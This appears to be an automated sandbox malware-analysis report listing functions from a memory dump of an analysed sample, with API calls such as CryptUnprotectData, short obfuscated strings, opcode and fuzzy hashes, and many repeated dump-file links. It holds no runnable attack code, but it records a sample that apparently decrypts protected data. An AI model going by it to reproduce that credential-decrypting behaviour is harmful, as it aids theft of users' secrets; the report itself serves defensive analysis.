Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: c66cb8990f81e9b83b18de32e0db407e19638ad7d22a593fd06bc5a7753ef685
Instruction ID: 5b9df395f362de523ca35460c00fce771d7badd61c446b9fbd81b316e4305c5d
Opcode Fuzzy Hash: c66cb8990f81e9b83b18de32e0db407e19638ad7d22a593fd06bc5a7753ef685
Instruction Fuzzy Hash: F71182B1A45218DFDB248F55DC49F69B7B8F704711F1043E6E606A32C0D7741A45CF51

Function 00BF3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00BFE118,00000000,00000001,00BFE108,00000000), ref: 00BF3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00BF37B0

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 01f7e185eff0629e22e6c7ad98710684aea245d0be3d3b08f8ec0a4d575c8ff6
Instruction ID: e4cb25b5ba580074fcb567874a94cb80797386d645f41a3ff0a6d8ec69ce16c1
Opcode Fuzzy Hash: 01f7e185eff0629e22e6c7ad98710684aea245d0be3d3b08f8ec0a4d575c8ff6
Instruction Fuzzy Hash: FB41EA70A40A1C9FDB24DB58CC95BABB7B5BB48702F4041D8E618E72D0D771AE85CF50

Function 00BE9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00BE9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00BE9BA3
LocalFree.KERNEL32(?), ref: 00BE9BD3

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: f5030696b3cb2894c0bda8fea6914716f2b6686ed27c31f6020fec9a8f8a7d81
Instruction ID: cc046648fa15534a1be66d75872e275d2b38c51f3cdec9c069b37387bfcfb009
Opcode Fuzzy Hash: f5030696b3cb2894c0bda8fea6914716f2b6686ed27c31f6020fec9a8f8a7d81
Instruction Fuzzy Hash: F3110CB4A00209DFCB04DFA5D985AAE77F5FF88300F1045A8E915A7350D774AE55CF61

Function 00FB3240 Relevance: 4.2, Strings: 2, Instructions: 1665COMMON

Download Yara Rule

Strings

-@mb, xrefs: 00FB3F5A
5=s, xrefs: 00FB3F6B

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -@mb$5=s
API String ID: 0-1767529023
Opcode ID: 40f3899e906cfa888120052236e9e72ee0b690b8f3c558dd72f9ab9374a7d8ab
Instruction ID: 8b0501a665d8f5981ff901adc631358d0097d4a2ae907b76243c36c0cc03bd7e
Opcode Fuzzy Hash: 40f3899e906cfa888120052236e9e72ee0b690b8f3c558dd72f9ab9374a7d8ab
Instruction Fuzzy Hash: 1EB219F3A082149FE3046E2DEC8567AFBE5EF94720F1A4A3DEAC4C7744E63558018796

Function 00ECA54B Relevance: 4.0, Strings: 3, Instructions: 200COMMON

Download Yara Rule

Strings

?,d7, xrefs: 00ECA5A3
4`:k, xrefs: 00ECA646
!;5z, xrefs: 00ECA5F5

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !;5z$4`:k$?,d7
API String ID: 0-1857403863
Opcode ID: b93410287c4bf30215a20dfdfd7e9270acc6593baf296fb1ce3720a1e47e1055
Instruction ID: 5df12e503f1c5d335e7e86cc85a2d14fc9f80981dba052e416cea594dc9fb804
Opcode Fuzzy Hash: b93410287c4bf30215a20dfdfd7e9270acc6593baf296fb1ce3720a1e47e1055
Instruction Fuzzy Hash: 8C5126F3A082109FE7086E3CEC9977ABBD9EB54310F16493DEAC5C7784E97958048786

Function 00FAE2A4 Relevance: 2.9, Strings: 1, Instructions: 1671COMMON

Download Yara Rule

Strings

WT=t, xrefs: 00FAF491

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: WT=t
API String ID: 0-564892656
Opcode ID: 82017a00d0c6c03e14b33780cf7103c113c6a808839a012a9604e1171aa607cf
Instruction ID: 42a649aa419c63af79582a045d774df57e0ea5c014562ac5089d8a40f6d6b8c1
Opcode Fuzzy Hash: 82017a00d0c6c03e14b33780cf7103c113c6a808839a012a9604e1171aa607cf
Instruction Fuzzy Hash: E8B22AF3A0C2049FE304AE2DEC4567ABBE9EFD4720F1A853DEAC5C3744E63558058696

Function 00FB17A9 Relevance: 2.8, Strings: 1, Instructions: 1585COMMON

Download Yara Rule

Strings

Qn6:, xrefs: 00FB22CB

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Qn6:
API String ID: 0-1605114166
Opcode ID: d57371d5b2019501f2f94a5f623cd91be9abecafc793992b78b676dd6c78e357
Instruction ID: be27e695e982d8a47ebb94bb3d753e1470fc95d43c15bba6ffdaeb21ebc3fa24
Opcode Fuzzy Hash: d57371d5b2019501f2f94a5f623cd91be9abecafc793992b78b676dd6c78e357
Instruction Fuzzy Hash: 3FB2C3F360C704AFE3047E29EC8567AFBE9EF94720F16493DE6C483744EA3599008696

Function 00E4F953 Relevance: 2.7, Strings: 2, Instructions: 165COMMON

Download Yara Rule

Strings

9I, xrefs: 00E4F991
C&?k, xrefs: 00E4F9B4

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 9I$C&?k
API String ID: 0-2035176125
Opcode ID: 0c9293cb53303aa64eb9327f34a35b23cfe727752533ae430d441cd9d4ad9e47
Instruction ID: 9dc9202c2660c12905c4e55c5f794c007024d144a9f01f998696c9c605ce5bb8
Opcode Fuzzy Hash: 0c9293cb53303aa64eb9327f34a35b23cfe727752533ae430d441cd9d4ad9e47
Instruction Fuzzy Hash: 185115B3B152148BE3409E29DC84766B797EBC4310F2B813DCAC897784D93E5D0A8796

Function 00EE5160 Relevance: 1.4, Strings: 1, Instructions: 193COMMON

Download Yara Rule

Strings

/O_, xrefs: 00EE52CB

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /O_
API String ID: 0-2000334091
Opcode ID: b6fd63dcd4a30ed710438a32e98be47d9f53782bbb407e4880b664a75bb80ce0
Instruction ID: 593d07faac4feccb7415de698b719b2f2f97e5e1263bac054a935e04763d9184
Opcode Fuzzy Hash: b6fd63dcd4a30ed710438a32e98be47d9f53782bbb407e4880b664a75bb80ce0
Instruction Fuzzy Hash: 0F5129F3F185145BF3046D2DDC5976BBADADBD4320F2A863DDA98C7784E9398C024286

Function 00EE844F Relevance: 1.4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

Strings

/#~?, xrefs: 00EE85C2

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /#~?
API String ID: 0-3838108040
Opcode ID: 85dba1af474f6a14505d656560a7393c76e89809ca9cee900bd74a7905420862
Instruction ID: 1673735ad4d3758b8f37e73ee257e1884c1d75a190e718fdf8f9ce736eb75d94
Opcode Fuzzy Hash: 85dba1af474f6a14505d656560a7393c76e89809ca9cee900bd74a7905420862
Instruction Fuzzy Hash: ED514BF3E083145BE3046E2DDC5577AB7D9EB94760F6B863DEAD483780E93598008692

Function 00F330B5 Relevance: 1.4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

Strings

:{Z, xrefs: 00F33270

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: :{Z
API String ID: 0-15389930
Opcode ID: 37da00dceb15a0a4378a3f7c27da0065ff7638a8debb59e508faef0d288fe169
Instruction ID: 3e4290330dd3c3c3463f9c8d45c324813302e467f05e95cff3fc124097a7364f
Opcode Fuzzy Hash: 37da00dceb15a0a4378a3f7c27da0065ff7638a8debb59e508faef0d288fe169
Instruction Fuzzy Hash: 4D4155F3E182204BE3089A68EC597767A95DB54360F1A453CEF89C7384E97A8D0483C6

Function 00EF1C47 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a581e612c30b3d385f4210461d9585c0460c8075fd23deac9d87a0d4ae6465af
Instruction ID: 54df9792d12a8c40f0cab3022bac79439b14c2c0b948df5ba94edbb2b95341e0
Opcode Fuzzy Hash: a581e612c30b3d385f4210461d9585c0460c8075fd23deac9d87a0d4ae6465af
Instruction Fuzzy Hash: C0513BF3A1C3045FF3181E2CEC85766B6D9EB94360F2A023DEA89D77C0E97958014759

Function 00EE244F Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccef3ab412e07a4715e2ededfa295bdd05d581d56fced4898ee6c742d416543a
Instruction ID: 6efdbb9341a3fdcf473772a60eb862731e3edf76b3d73f80687047dae6c1ded9
Opcode Fuzzy Hash: ccef3ab412e07a4715e2ededfa295bdd05d581d56fced4898ee6c742d416543a
Instruction Fuzzy Hash: 7151E6B3A082245BE3546E29DC857BAB7D6DFD4720F2B853DDBC893780E939580486C6

Function 00E72128 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
